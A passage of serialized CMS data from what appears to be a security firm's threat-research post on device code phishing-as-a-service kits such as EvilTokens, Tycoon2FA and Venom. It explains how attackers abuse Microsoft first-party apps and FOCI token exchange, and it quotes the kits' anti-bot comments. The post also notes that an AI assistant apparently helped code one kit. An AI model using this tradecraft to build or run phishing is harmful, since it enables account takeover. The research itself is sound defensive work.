18],{"data":84113,"content":84114,"nodeType":866},{},[84115],{"data":84116,"marks":84117,"value":31698,"nodeType":865},{},[],{"data":84119,"content":84120,"nodeType":866},{},[84121],{"data":84122,"marks":84123,"value":31705,"nodeType":865},{},[],{"data":84125,"content":84126,"nodeType":1869},{},[84127,84137],{"data":84128,"content":84129,"nodeType":1835},{},[84130],{"data":84131,"content":84132,"nodeType":866},{},[84133],{"data":84134,"marks":84135,"value":29991,"nodeType":865},{},[84136],{"type":961},{"data":84138,"content":84139,"nodeType":1835},{},[84140,84150],{"data":84141,"content":84142,"nodeType":866},{},[84143,84147],{"data":84144,"marks":84145,"value":30466,"nodeType":865},{},[84146],{"type":961},{"data":84148,"marks":84149,"value":31732,"nodeType":865},{},[],{"data":84151,"content":84152,"nodeType":866},{},[84153,84157],{"data":84154,"marks":84155,"value":30032,"nodeType":865},{},[84156],{"type":961},{"data":84158,"marks":84159,"value":30289,"nodeType":865},{},[],{"data":84161,"content":84162,"nodeType":1869},{},[84163,84173],{"data":84164,"content":84165,"nodeType":1835},{},[84166],{"data":84167,"content":84168,"nodeType":866},{},[84169],{"data":84170,"marks":84171,"value":30074,"nodeType":865},{},[84172],{"type":961},{"data":84174,"content":84175,"nodeType":1835},{},[84176],{"data":84177,"content":84178,"nodeType":866},{},[84179],{"data":84180,"marks":84181,"value":31765,"nodeType":865},{},[],{"data":84183,"content":84184,"nodeType":1869},{},[84185,84195],{"data":84186,"content":84187,"nodeType":1835},{},[84188],{"data":84189,"content":84190,"nodeType":866},{},[84191],{"data":84192,"marks":84193,"value":30126,"nodeType":865},{},[84194],{"type":961},{"data":84196,"content":84197,"nodeType":1835},{},[84198],{"data":84199,"content":84200,"nodeType":866},{},[84201],{"data":84202,"marks":84203,"value":31788,"nodeType":865},{},[],{"data":84205,"content":84206,"nodeType":1869},{},[84207,84217],{"data":84208,"content":84209,"nodeType":1835},{},[84210],{"data":84211,"content":84212,"nodeType":866},{},[84213],{"data":84214,"marks":84215,"value":30349,"nodeType":865},{},[84216],{"type":961},{"data":84218,"content":84219,"nodeType":1835},{},[84220],{"data":84221,"content":84222,"nodeType":866},{},[84223],{"data":84224,"marks":84225,"value":31811,"nodeType":865},{},[],{"data":84227,"content":84230,"nodeType":925},{"target":84228},{"sys":84229},{"id":10964,"type":922,"linkType":923},[],{"data":84232,"content":84233,"nodeType":953},{},[],{"data":84235,"content":84236,"nodeType":1458},{},[84237],{"data":84238,"marks":84239,"value":31827,"nodeType":865},{},[84240],{"type":961},{"data":84242,"content":84243,"nodeType":2396},{},[84244,84266,84302,84324,84346],{"data":84245,"content":84246,"nodeType":1869},{},[84247,84257],{"data":84248,"content":84249,"nodeType":1835},{},[84250],{"data":84251,"content":84252,"nodeType":866},{},[84253],{"data":84254,"marks":84255,"value":29967,"nodeType":865},{},[84256],{"type":961},{"data":84258,"content":84259,"nodeType":1835},{},[84260],{"data":84261,"content":84262,"nodeType":866},{},[84263],{"data":84264,"marks":84265,"value":31853,"nodeType":865},{},[],{"data":84267,"content":84268,"nodeType":1869},{},[84269,84279],{"data":84270,"content":84271,"nodeType":1835},{},[84272],{"data":84273,"content":84274,"nodeType":866},{},[84275],{"data":84276,"marks":84277,"value":29991,"nodeType":865},{},[84278],{"type":961},{"data":84280,"content":84281,"nodeType":1835},{},[84282,84292],{"data":84283,"content":84284,"nodeType":866},{},[84285,84289],{"data":84286,"marks":84287,"value":30466,"nodeType":865},{},[84288],{"type":961},{"data":84290,"marks":84291,"value":31880,"nodeType":865},{},[],{"data":84293,"content":84294,"nodeType":866},{},[84295,84299],{"data":84296,"marks":84297,"value":30032,"nodeType":865},{},[84298],{"type":961},{"data":84300,"marks":84301,"value":31891,"nodeType":865},{},[],{"data":84303,"content":84304,"nodeType":1869},{},[84305,84315],{"data":84306,"content":84307,"nodeType":1835},{},[84308],{"data":84309,"content":84310,"nodeType":866},{},[84311],{"data":84312,"marks":84313,"value":30074,"nodeType":865},{},[84314],{"type":961},{"data":84316,"content":84317,"nodeType":1835},{},[84318],{"data":84319,"content":84320,"nodeType":866},{},[84321],{"data":84322,"marks":84323,"value":31765,"nodeType":865},{},[],{"data":84325,"content":84326,"nodeType":1869},{},[84327,84337],{"data":84328,"content":84329,"nodeType":1835},{},[84330],{"data":84331,"content":84332,"nodeType":866},{},[84333],{"data":84334,"marks":84335,"value":30126,"nodeType":865},{},[84336],{"type":961},{"data":84338,"content":84339,"nodeType":1835},{},[84340],{"data":84341,"content":84342,"nodeType":866},{},[84343],{"data":84344,"marks":84345,"value":31936,"nodeType":865},{},[],{"data":84347,"content":84348,"nodeType":1869},{},[84349,84359],{"data":84350,"content":84351,"nodeType":1835},{},[84352],{"data":84353,"content":84354,"nodeType":866},{},[84355],{"data":84356,"marks":84357,"value":30349,"nodeType":865},{},[84358],{"type":961},{"data":84360,"content":84361,"nodeType":1835},{},[84362],{"data":84363,"content":84364,"nodeType":866},{},[84365],{"data":84366,"marks":84367,"value":31959,"nodeType":865},{},[],{"data":84369,"content":84372,"nodeType":925},{"target":84370},{"sys":84371},{"id":31964,"type":922,"linkType":923},[],{"data":84374,"content":84375,"nodeType":953},{},[],{"data":84377,"content":84378,"nodeType":963},{},[84379],{"data":84380,"marks":84381,"value":31976,"nodeType":865},{},[84382],{"type":961},{"data":84384,"content":84385,"nodeType":866},{},[84386,84389],{"data":84387,"marks":84388,"value":31983,"nodeType":865},{},[],{"data":84390,"marks":84391,"value":31988,"nodeType":865},{},[84392],{"type":961},{"data":84394,"content":84395,"nodeType":866},{},[84396],{"data":84397,"marks":84398,"value":31995,"nodeType":865},{},[],{"data":84400,"content":84403,"nodeType":925},{"target":84401},{"sys":84402},{"id":32000,"type":922,"linkType":923},[],{"data":84405,"content":84408,"nodeType":925},{"target":84406},{"sys":84407},{"id":32006,"type":922,"linkType":923},[],{"data":84410,"content":84411,"nodeType":866},{},[84412],{"data":84413,"marks":84414,"value":32014,"nodeType":865},{},[],{"data":84416,"content":84417,"nodeType":866},{},[84418,84421,84425,84428],{"data":84419,"marks":84420,"value":32021,"nodeType":865},{},[],{"data":84422,"marks":84423,"value":32026,"nodeType":865},{},[84424],{"type":961},{"data":84426,"marks":84427,"value":32030,"nodeType":865},{},[],{"data":84429,"marks":84430,"value":32035,"nodeType":865},{},[84431],{"type":961},{"data":84433,"content":84434,"nodeType":866},{},[84435,84438,84442],{"data":84436,"marks":84437,"value":32042,"nodeType":865},{},[],{"data":84439,"marks":84440,"value":32047,"nodeType":865},{},[84441],{"type":961},{"data":84443,"marks":84444,"value":32051,"nodeType":865},{},[],{"data":84446,"content":84449,"nodeType":925},{"target":84447},{"sys":84448},{"id":32056,"type":922,"linkType":923},[],{"data":84451,"content":84452,"nodeType":953},{},[],{"data":84454,"content":84455,"nodeType":963},{},[84456],{"data":84457,"marks":84458,"value":32068,"nodeType":865},{},[84459],{"type":961},{"data":84461,"content":84462,"nodeType":1458},{},[84463],{"data":84464,"marks":84465,"value":32076,"nodeType":865},{},[84466],{"type":961},{"data":84468,"content":84469,"nodeType":866},{},[84470,84473,84477,84480],{"data":84471,"marks":84472,"value":32083,"nodeType":865},{},[],{"data":84474,"marks":84475,"value":32088,"nodeType":865},{},[84476],{"type":961},{"data":84478,"marks":84479,"value":32092,"nodeType":865},{},[],{"data":84481,"marks":84482,"value":32097,"nodeType":865},{},[84483],{"type":961},{"data":84485,"content":84486,"nodeType":866},{},[84487,84491,84494,84498],{"data":84488,"marks":84489,"value":32105,"nodeType":865},{},[84490],{"type":961},{"data":84492,"marks":84493,"value":32109,"nodeType":865},{},[],{"data":84495,"marks":84496,"value":32114,"nodeType":865},{},[84497],{"type":961},{"data":84499,"marks":84500,"value":32118,"nodeType":865},{},[],{"data":84502,"content":84505,"nodeType":925},{"target":84503},{"sys":84504},{"id":31052,"type":922,"linkType":923},[],{"data":84507,"content":84508,"nodeType":866},{},[84509],{"data":84510,"marks":84511,"value":32130,"nodeType":865},{},[],{"data":84513,"content":84514,"nodeType":866},{},[84515],{"data":84516,"marks":84517,"value":32137,"nodeType":865},{},[],{"data":84519,"content":84520,"nodeType":1458},{},[84521],{"data":84522,"marks":84523,"value":32145,"nodeType":865},{},[84524],{"type":961},{"data":84526,"content":84527,"nodeType":866},{},[84528],{"data":84529,"marks":84530,"value":32152,"nodeType":865},{},[],{"data":84532,"content":84533,"nodeType":866},{},[84534],{"data":84535,"marks":84536,"value":32159,"nodeType":865},{},[],{"data":84538,"content":84539,"nodeType":866},{},[84540],{"data":84541,"marks":84542,"value":32166,"nodeType":865},{},[],{"data":84544,"content":84545,"nodeType":1458},{},[84546],{"data":84547,"marks":84548,"value":32174,"nodeType":865},{},[84549],{"type":961},{"data":84551,"content":84552,"nodeType":866},{},[84553],{"data":84554,"marks":84555,"value":32181,"nodeType":865},{},[],{"data":84557,"content":84558,"nodeType":1049},{},[84559,84572,84585],{"data":84560,"content":84561,"nodeType":1003},{},[84562],{"data":84563,"content":84564,"nodeType":866},{},[84565,84569],{"data":84566,"marks":84567,"value":32195,"nodeType":865},{},[84568],{"type":961},{"data":84570,"marks":84571,"value":32199,"nodeType":865},{},[],{"data":84573,"content":84574,"nodeType":1003},{},[84575],{"data":84576,"content":84577,"nodeType":866},{},[84578,84582],{"data":84579,"marks":84580,"value":29673,"nodeType":865},{},[84581],{"type":961},{"data":84583,"marks":84584,"value":32213,"nodeType":865},{},[],{"data":84586,"content":84587,"nodeType":1003},{},[84588],{"data":84589,"content":84590,"nodeType":866},{},[84591,84594,84598],{"data":84592,"marks":84593,"value":32223,"nodeType":865},{},[],{"data":84595,"marks":84596,"value":19618,"nodeType":865},{},[84597],{"type":961},{"data":84599,"marks":84600,"value":32231,"nodeType":865},{},[],{"data":84602,"content":84605,"nodeType":925},{"target":84603},{"sys":84604},{"id":32236,"type":922,"linkType":923},[],{"data":84607,"content":84608,"nodeType":953},{},[],{"data":84610,"content":84611,"nodeType":963},{},[84612],{"data":84613,"marks":84614,"value":32248,"nodeType":865},{},[84615],{"type":961},{"data":84617,"content":84618,"nodeType":866},{},[84619],{"data":84620,"marks":84621,"value":32255,"nodeType":865},{},[],{"data":84623,"content":84624,"nodeType":866},{},[84625],{"data":84626,"marks":84627,"value":32262,"nodeType":865},{},[],{"data":84629,"content":84630,"nodeType":866},{},[84631,84634,84641,84644,84648,84651,84655,84658,84662],{"data":84632,"marks":84633,"value":32269,"nodeType":865},{},[],{"data":84635,"content":84636,"nodeType":882},{"uri":32272},[84637],{"data":84638,"marks":84639,"value":32278,"nodeType":865},{},[84640],{"type":997},{"data":84642,"marks":84643,"value":32282,"nodeType":865},{},[],{"data":84645,"marks":84646,"value":32287,"nodeType":865},{},[84647],{"type":961},{"data":84649,"marks":84650,"value":32291,"nodeType":865},{},[],{"data":84652,"marks":84653,"value":32296,"nodeType":865},{},[84654],{"type":961},{"data":84656,"marks":84657,"value":32300,"nodeType":865},{},[],{"data":84659,"marks":84660,"value":32305,"nodeType":865},{},[84661],{"type":961},{"data":84663,"marks":84664,"value":32309,"nodeType":865},{},[],{"data":84666,"content":84669,"nodeType":925},{"target":84667},{"sys":84668},{"id":32314,"type":922,"linkType":923},[],{"data":84671,"content":84672,"nodeType":866},{},[84673],{"data":84674,"marks":84675,"value":32322,"nodeType":865},{},[],{"data":84677,"content":84678,"nodeType":953},{},[],{"data":84680,"content":84681,"nodeType":963},{},[84682],{"data":84683,"marks":84684,"value":32333,"nodeType":865},{},[84685],{"type":961},{"data":84687,"content":84688,"nodeType":866},{},[84689],{"data":84690,"marks":84691,"value":32340,"nodeType":865},{},[],{"data":84693,"content":84694,"nodeType":866},{},[84695],{"data":84696,"marks":84697,"value":32347,"nodeType":865},{},[],{"data":84699,"content":84700,"nodeType":866},{},[84701,84704,84711],{"data":84702,"marks":84703,"value":32354,"nodeType":865},{},[],{"data":84705,"content":84706,"nodeType":882},{"uri":32357},[84707],{"data":84708,"marks":84709,"value":32363,"nodeType":865},{},[84710],{"type":997},{"data":84712,"marks":84713,"value":32367,"nodeType":865},{},[],{"data":84715,"content":84718,"nodeType":925},{"target":84716},{"sys":84717},{"id":32372,"type":922,"linkType":923},[],{"data":84720,"content":84721,"nodeType":866},{},[84722],{"data":84723,"marks":84724,"value":32380,"nodeType":865},{},[],{"data":84726,"content":84727,"nodeType":1458},{},[84728],{"data":84729,"marks":84730,"value":1704,"nodeType":865},{},[84731],{"type":961},{"data":84733,"content":84734,"nodeType":866},{},[84735],{"data":84736,"marks":84737,"value":32394,"nodeType":865},{},[],{"data":84739,"content":84740,"nodeType":866},{},[84741,84744,84751,84754,84761,84764,84771],{"data":84742,"marks":84743,"value":32401,"nodeType":865},{},[],{"data":84745,"content":84746,"nodeType":882},{"uri":22700},[84747],{"data":84748,"marks":84749,"value":22706,"nodeType":865},{},[84750],{"type":997},{"data":84752,"marks":84753,"value":2186,"nodeType":865},{},[],{"data":84755,"content":84756,"nodeType":882},{"uri":22712},[84757],{"data":84758,"marks":84759,"value":32419,"nodeType":865},{},[84760],{"type":997},{"data":84762,"marks":84763,"value":22722,"nodeType":865},{},[],{"data":84765,"content":84766,"nodeType":882},{"uri":1728},[84767],{"data":84768,"marks":84769,"value":22730,"nodeType":865},{},[84770],{"type":997},{"data":84772,"marks":84773,"value":1048,"nodeType":865},{},[],{"entries":84775},{"hyperlink":84776,"inline":84777,"block":84778},[],[],[84779,84798,84830,84837,84851,84892,84906,84934,84940,84947,84952,84958,84962,84968,84971,84977,84981,84987,85021,85026,85033,85037,85042,85048,85053,85067,85073,85081,85083,85097,85154,85160,85174,85234,85258],{"sys":84780,"__typename":9270,"content":84781,"name":84797,"title":59},{"id":29452},{"json":84782},{"data":84783,"content":84784,"nodeType":1739},{},[84785],{"data":84786,"content":84787,"nodeType":866},{},[84788,84793],{"data":84789,"marks":84790,"value":84792,"nodeType":865},{},[84791],{"type":961},"Update May 15:",{"data":84794,"marks":84795,"value":84796,"nodeType":865},{},[]," We've added details of three new kits, including proper samples of Venom, Tycoon2FA, and CYB3R, a new self-identifying kit — all from Push's customer detections. ","DCP IB 11",{"sys":84799,"__typename":9270,"content":84800,"name":84829,"title":59},{"id":29503},{"json":84801},{"nodeType":1739,"data":84802,"content":84803},{},[84804],{"nodeType":866,"data":84805,"content":84806},{},[84807,84811,84816,84820,84825],{"nodeType":865,"value":84808,"marks":84809,"data":84810},"At the start of March, we’d observed a ",[],{},{"nodeType":865,"value":84812,"marks":84813,"data":84815},"15x",[84814],{"type":961},{},{"nodeType":865,"value":84817,"marks":84818,"data":84819}," increase in device code phishing pages detected by our research team this year, with multiple kits and campaigns being tracked — with the kit now identified as EvilTokens the most prominent. ",[],{},{"nodeType":865,"value":84821,"marks":84822,"data":84824},"That figure has now risen to 37.5x",[84823],{"type":961},{},{"nodeType":865,"value":84826,"marks":84827,"data":84828},". More on that later. ",[],{},"DCP IB 1",{"sys":84831,"__typename":1747,"title":84832,"caption":84832,"layoutMode":59,"file":84833},{"id":29534},"Device code phishing evolution 2019-2026.",{"url":84834,"width":84835,"height":84836},"https://images.ctfassets.net/y1cdw1ablpvd/7dPjgH1qTrpBIdqE0D4D0g/8d0bcaea877a9fcd325b272890d8dc63/device_code_phishing_4col_timeline_1.png",1360,1160,{"sys":84838,"__typename":9270,"content":84839,"name":84850,"title":59},{"id":29644},{"json":84840},{"nodeType":1739,"data":84841,"content":84842},{},[84843],{"nodeType":866,"data":84844,"content":84845},{},[84846],{"nodeType":865,"value":84847,"marks":84848,"data":84849},"PhaaS is key to the adoption of new phishing tools and techniques, providing broad access to criminal operators at scale while driving up execution standards. It has been central to the continued evolution of AITM and ClickFix, and is a strong indicator of what comes next for device code phishing.",[],{},"DCP IB 2",{"sys":84852,"__typename":9270,"content":84853,"name":84891,"title":59},{"id":29772},{"json":84854},{"data":84855,"content":84856,"nodeType":1739},{},[84857],{"data":84858,"content":84859,"nodeType":866},{},[84860,84864,84871,84875,84879,84887],{"data":84861,"marks":84862,"value":84863,"nodeType":865},{},[],"We're seeing a clear trend of existing PhaaS kits adding device code phishing functionality. Tycoon2FA, the category leader for criminal AITM phishing capabilities, has recently",{"data":84865,"content":84866,"nodeType":882},{"uri":1384},[84867],{"data":84868,"marks":84869,"value":84870,"nodeType":865},{},[]," adopted device code phishing ",{"data":84872,"marks":84873,"value":84874,"nodeType":865},{},[],"alongside its established AiTM functionality (we've provided some examples below), while t",{"data":84876,"marks":84877,"value":84878,"nodeType":865},{},[],"he ",{"data":84880,"content":84882,"nodeType":882},{"uri":84881},"https://abnormal.ai/blog/venom-phishing-campaign-mfa-credential-theft",[84883],{"data":84884,"marks":84885,"value":31606,"nodeType":865},{},[84886],{"type":997},{"data":84888,"marks":84889,"value":84890,"nodeType":865},{},[]," kit that offers device code phishing capabilities that appear visually and functionally similar to EvilTokens has an AITM component that matches our detections for Sneaky2FA, indicating a possible overlap in tooling.","DCP IB12",{"sys":84893,"__typename":9270,"content":84894,"name":84905,"title":59},{"id":29796},{"json":84895},{"nodeType":1739,"data":84896,"content":84897},{},[84898],{"nodeType":866,"data":84899,"content":84900},{},[84901],{"nodeType":865,"value":84902,"marks":84903,"data":84904},"Many of the names provided are internal codenames. The information per kit is by no means exhaustive and is likely to evolve over time. ",[],{},"DCP IP 7",{"sys":84907,"__typename":9270,"content":84908,"name":84933,"title":59},{"id":29854},{"json":84909},{"nodeType":1739,"data":84910,"content":84911},{},[84912,84919,84926],{"nodeType":866,"data":84913,"content":84914},{},[84915],{"nodeType":865,"value":84916,"marks":84917,"data":84918},"Our codename for EvilTokens internally was derived from the overly descriptive page code describing its bot protection capabilities (a clear sign of vibe coding — thanks Claude!):",[],{},{"nodeType":866,"data":84920,"content":84921},{},[84922],{"nodeType":865,"value":84923,"marks":84924,"data":84925},"\u003C!-- FIXED ANTI-BOT SYSTEM - WON'T REDIRECT REAL USERS -->",[],{},{"nodeType":866,"data":84927,"content":84928},{},[84929],{"nodeType":865,"value":84930,"marks":84931,"data":84932},"\u003C!-- ENHANCED ANTI-BOT SYSTEM WITH SERVER-SIDE VALIDATION -->",[],{},"DCP IB3",{"sys":84935,"__typename":1747,"title":84936,"caption":84936,"layoutMode":59,"file":84937},{"id":29907},"Precursor A (Left) & B (Right): Different visual lures from January 2026. ",{"url":84938,"width":1759,"height":84939},"https://images.ctfassets.net/y1cdw1ablpvd/3pfFR7ICQQqOyhGAFAj67C/6f8873d82cc7f5233a0ca9baa74f7585/image15.png",773,{"sys":84941,"__typename":1747,"title":84942,"caption":84943,"layoutMode":59,"file":84944},{"id":29913},"Early ANTIBOT: First appearance of the ANTIBOT comments, mid-Jan.","Early ANTIBOT: First appearance of the ANTIBOT comments, late-Jan.",{"url":84945,"width":1759,"height":84946},"https://images.ctfassets.net/y1cdw1ablpvd/VAdFlnCF4YftsOV02wnwu/8813ea3957b65ddfb84bb8ba5fb25a55/image6.png",564,{"sys":84948,"__typename":12453,"title":84949,"arcadeDemoUrl":84950,"playText":84951},{"id":29919},"Early ANTIBOT page load","https://demo.arcade.software/wRcvXg62Lok57ZjOKgJI?embed","20 secs",{"sys":84953,"__typename":1747,"title":84954,"caption":84954,"layoutMode":59,"file":84955},{"id":29925},"\"Courts Access\" lure with a similar security verification to Early ANTIBOT.",{"url":84956,"width":84957,"height":21408},"https://images.ctfassets.net/y1cdw1ablpvd/7LEJpoif8dnub4qJw2z6kL/3b15161c9d3f2e4f7d4f323ec04f1f33/Group_687.png",3103,{"sys":84959,"__typename":12453,"title":84960,"arcadeDemoUrl":84961,"playText":12456},{"id":29931},"ANTIBOT \"Courts Access\" lure","https://demo.arcade.software/8b4YuKm1EXPmgx2q7q2D?embed",{"sys":84963,"__typename":1747,"title":84964,"caption":84964,"layoutMode":59,"file":84965},{"id":29937},"Production ANTIBOT: Current EvilTokens implementation.",{"url":84966,"width":1759,"height":84967},"https://images.ctfassets.net/y1cdw1ablpvd/1J3fOSmUPF8f3FlcwYFoGe/5eff8c1a892f870d1488d6a0f38da03c/image12.png",591,{"sys":84969,"__typename":12453,"title":29635,"arcadeDemoUrl":84970,"playText":84951},{"id":29943},"https://demo.arcade.software/zB6dqehj1lbnB2dur9lB?embed",{"sys":84972,"__typename":1747,"title":84973,"caption":84973,"layoutMode":59,"file":84974},{"id":30364},"SHAREFILE kit.",{"url":84975,"width":1759,"height":84976},"https://images.ctfassets.net/y1cdw1ablpvd/1iKelffs399PIIBedgnqmu/64a40d1ad7f69f966665f44c52e0817b/image1.png",1500,{"sys":84978,"__typename":12453,"title":84979,"arcadeDemoUrl":84980,"playText":18213},{"id":30555},"Kali365 / Clure Demo","https://demo.arcade.software/dwwFeSKGldZvTrYZDtZV?embed",{"sys":84982,"__typename":1747,"title":84983,"caption":59,"layoutMode":59,"file":84984},{"id":30719},"LINKID landing page requires an email before serving the payload.",{"url":84985,"width":1759,"height":84986},"https://images.ctfassets.net/y1cdw1ablpvd/5XAibmWt8HDGbpOC9n1DEk/d4bcb1006d82116dff5865f5b911bc88/image9.png",1049,{"sys":84988,"__typename":9270,"content":84989,"name":85020,"title":59},{"id":30736},{"json":84990},{"nodeType":1739,"data":84991,"content":84992},{},[84993],{"nodeType":866,"data":84994,"content":84995},{},[84996,85000,85005,85009,85017],{"nodeType":865,"value":84997,"marks":84998,"data":84999},"AUTHOV was recently attributed to ",[],{},{"nodeType":865,"value":85001,"marks":85002,"data":85004},"Device Code Lab",[85003],{"type":961},{},{"nodeType":865,"value":85006,"marks":85007,"data":85008},", a professional grade, device code phishing platform, with numerous defense evasion and post-exploitation features, designed to interoperate with other phishing platforms. You can ",[],{},{"nodeType":882,"data":85010,"content":85012},{"uri":85011},"https://newtonpaul.com/blog/device-code-lab-post-exploit/",[85013],{"nodeType":865,"value":85014,"marks":85015,"data":85016},"read Paul Newton's write-up here",[],{},{"nodeType":865,"value":10349,"marks":85018,"data":85019},[],{},"dcp ib14",{"sys":85022,"__typename":1747,"title":85023,"caption":85023,"layoutMode":59,"file":85024},{"id":30882},"AUTHOV kit. Notably uses a popup like prod EvilTokens.",{"url":85025,"width":1759,"height":21387},"https://images.ctfassets.net/y1cdw1ablpvd/4wKaHuSRfMXvi056r88u0b/e77feca260fe5ceb07ea7a080a09148f/image8.png",{"sys":85027,"__typename":1747,"title":85028,"caption":85029,"layoutMode":59,"file":85030},{"id":30888},"Device code lab portal","Device Code Lab portal login page. Credit: Paul Newton",{"url":85031,"width":75449,"height":85032},"https://images.ctfassets.net/y1cdw1ablpvd/3qgmWJFz6hDUSEu2TcUWWU/9df13412c9ddb216020ae7a5fe476b5d/portal.png",787,{"sys":85034,"__typename":12453,"title":85035,"arcadeDemoUrl":85036,"playText":84951},{"id":31052},"DOCUPOLL DCP Kit","https://demo.arcade.software/Wv84a7Vziha9RwTdctvg?embed",{"sys":85038,"__typename":1747,"title":85039,"caption":85039,"layoutMode":59,"file":85040},{"id":31215},"FLOW_TOKEN kit. Notably uses a popup like prod EvilTokens.",{"url":85041,"width":1759,"height":21387},"https://images.ctfassets.net/y1cdw1ablpvd/4Bvbx5dwwBTOvAzULbnhIF/2d676145af0648b1e6f43b624af3ffbc/image7.png",{"sys":85043,"__typename":1747,"title":85044,"caption":85044,"layoutMode":59,"file":85045},{"id":31327},"PAPRIKA kit.",{"url":85046,"width":1759,"height":85047},"https://images.ctfassets.net/y1cdw1ablpvd/2XqwbTyGXRBaH6OM0t9moI/107cd701784fe8eed96eea2b9c09731a/image5.png",727,{"sys":85049,"__typename":1747,"title":85050,"caption":85050,"layoutMode":59,"file":85051},{"id":31438},"DCSTATUS kit. ",{"url":85052,"width":1759,"height":84976},"https://images.ctfassets.net/y1cdw1ablpvd/1zKQp6Wi0ckDZMLHBriU2Y/7d1c7c348407dcbde2eb94551baca7f5/image14.png",{"sys":85054,"__typename":9270,"content":85055,"name":85066,"title":59},{"id":31455},{"json":85056},{"data":85057,"content":85058,"nodeType":1739},{},[85059],{"data":85060,"content":85061,"nodeType":866},{},[85062],{"data":85063,"marks":85064,"value":85065,"nodeType":865},{},[],"Our suspicion is that this was a one-off — potentially for a red team exercise — rather than representative of a more widely used kit.","DCP IB 4",{"sys":85068,"__typename":1747,"title":85069,"caption":85069,"layoutMode":59,"file":85070},{"id":31594},"DOLCE kit.",{"url":85071,"width":1759,"height":85072},"https://images.ctfassets.net/y1cdw1ablpvd/6iUfj8vMymi2c7lZxj006n/88b8066e6bea9fa7a81bd6b546264796/image16.png",728,{"sys":85074,"__typename":1747,"title":85075,"caption":85076,"layoutMode":59,"file":85077},{"id":31660},"Venom Device Code Phishing Screenshots","Examples of the Venom platform impersonating brands like YPO, FedEx and DHL.",{"url":85078,"width":85079,"height":85080},"https://images.ctfassets.net/y1cdw1ablpvd/2NThjmQSR5XFdnKEQKXfnd/237318895da6f558cc03b2915217afea/Venom_Device_Code_Phishing__1_.png",13114,3310,{"sys":85082,"__typename":12453,"title":18211,"arcadeDemoUrl":18212,"playText":18213},{"id":10964},{"sys":85084,"__typename":9270,"content":85085,"name":85096,"title":59},{"id":31964},{"json":85086},{"nodeType":1739,"data":85087,"content":85088},{},[85089],{"nodeType":866,"data":85090,"content":85091},{},[85092],{"nodeType":865,"value":85093,"marks":85094,"data":85095},"Clearly, device code phishing has entered mainstream adoption and we should be prepared for a lot more of it in future. So how does it work, and why is it so effective?",[],{},"DCP IB13",{"sys":85098,"__typename":9270,"content":85099,"name":85153,"title":59},{"id":32000},{"json":85100},{"nodeType":1739,"data":85101,"content":85102},{},[85103,85137],{"nodeType":866,"data":85104,"content":85105},{},[85106,85110,85117,85121,85125,85129,85133],{"nodeType":865,"value":85107,"marks":85108,"data":85109},"When targeting Microsoft environments, attackers can use the ",[],{},{"nodeType":882,"data":85111,"content":85112},{"uri":29571},[85113],{"nodeType":865,"value":85114,"marks":85115,"data":85116},"PRT escalation technique",[],{},{"nodeType":865,"value":85118,"marks":85119,"data":85120}," I mentioned in earlier research to get seamless SSO across ",[],{},{"nodeType":865,"value":70135,"marks":85122,"data":85124},[85123],{"type":944},{},{"nodeType":865,"value":85126,"marks":85127,"data":85128}," Entra ID-connected applications and web services. This requires that you specifically target the ",[],{},{"nodeType":865,"value":70144,"marks":85130,"data":85132},[85131],{"type":961},{},{"nodeType":865,"value":85134,"marks":85135,"data":85136}," application, chained into a new device registration in the victim's environment. This is the method that Storm-2372 was leveraging in 2025. ",[],{},{"nodeType":866,"data":85138,"content":85139},{},[85140,85144,85149],{"nodeType":865,"value":85141,"marks":85142,"data":85143},"But even without this step, many Microsoft first-party apps also belong to the ",[],{},{"nodeType":865,"value":85145,"marks":85146,"data":85148},"Family of Client IDs (FOCI)",[85147],{"type":961},{},{"nodeType":865,"value":85150,"marks":85151,"data":85152},", meaning a refresh token obtained for one family member can be exchanged for access tokens to other family members without re-authentication. In practice, this means an attacker who phishes a token via e.g. the Microsoft Office client ID, can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and Azure Management APIs — all from a single phished session. ",[],{},"DCP IB 8",{"sys":85155,"__typename":1747,"title":85156,"caption":85156,"layoutMode":59,"file":85157},{"id":32006},"Device code phishing attack chain.",{"url":85158,"width":1759,"height":85159},"https://images.ctfassets.net/y1cdw1ablpvd/60e9ErrL8tp3xtoer4gNUl/83899c207f61fdd9ff8aad0e1001030d/image2.png",1275,{"sys":85161,"__typename":9270,"content":85162,"name":85173,"title":59},{"id":32056},{"json":85163},{"nodeType":1739,"data":85164,"content":85165},{},[85166],{"nodeType":866,"data":85167,"content":85168},{},[85169],{"nodeType":865,"value":85170,"marks":85171,"data":85172},"One of the key limitations of early device code phishing was that the code was being sent directly over email (as in the Russia-linked campaigns in 2024-5). This meant that the code would expire unless used immediately, requiring highly engaged social engineering to pull off. To get around this, modern device code phishing pages are continuously polling for fresh codes via API. This arguably makes them more discoverable than simply providing the code and instructions in a direct message, but is way more scalable for the attacker. ",[],{},"DCP IB 5",{"sys":85175,"__typename":9270,"content":85176,"name":85233,"title":59},{"id":32236},{"json":85177},{"nodeType":1739,"data":85178,"content":85179},{},[85180,85217],{"nodeType":866,"data":85181,"content":85182},{},[85183,85188,85192,85202,85206,85213],{"nodeType":865,"value":85184,"marks":85185,"data":85187},"First-party applications",[85186],{"type":961},{},{"nodeType":865,"value":85189,"marks":85190,"data":85191}," are commonly abused in Microsoft-targeted attacks. These are ",[],{},{"nodeType":882,"data":85193,"content":85195},{"uri":85194},"https://gist.github.com/dafthack/2c0bbcac72b10c1ee205d1dd2fed3fe7",[85196],{"nodeType":865,"value":85197,"marks":85198,"data":85201},"real Microsoft applications",[85199,85200],{"type":997},{"type":961},{},{"nodeType":865,"value":85203,"marks":85204,"data":85205}," registered in every Entra ID tenant. Not only are they allowed by default (unlike third-party apps that are often subject to additional restrictions and require additional tenant-level consent before they can be accessed by a user), they come with pre-consented permissions, and can even access undocumented “legacy” scopes that aren't logged by default (exploited in the Russia-linked ",[],{},{"nodeType":882,"data":85207,"content":85208},{"uri":11102},[85209],{"nodeType":865,"value":11095,"marks":85210,"data":85212},[85211],{"type":997},{},{"nodeType":865,"value":85214,"marks":85215,"data":85216}," campaign reported by Push researchers). ",[],{},{"nodeType":866,"data":85218,"content":85219},{},[85220,85224,85229],{"nodeType":865,"value":85221,"marks":85222,"data":85223},"In other cases, such as when targeting GitHub or Salesforce, ",[],{},{"nodeType":865,"value":85225,"marks":85226,"data":85228},"third-party applications",[85227],{"type":961},{},{"nodeType":865,"value":85230,"marks":85231,"data":85232}," are often leveraged. These aren't necessarily fresh, attacker-created apps — they can be attacker-controlled instances of otherwise legitimate applications. That said, it is easier than ever for attackers to spin up their own OAuth apps, particularly using AI tools. The trade-off is that the victim has to consent to the app from the tenant level before also granting access to their account, introducing more friction to the process, and potentially running into additional security controls and restrictions depending on tenant 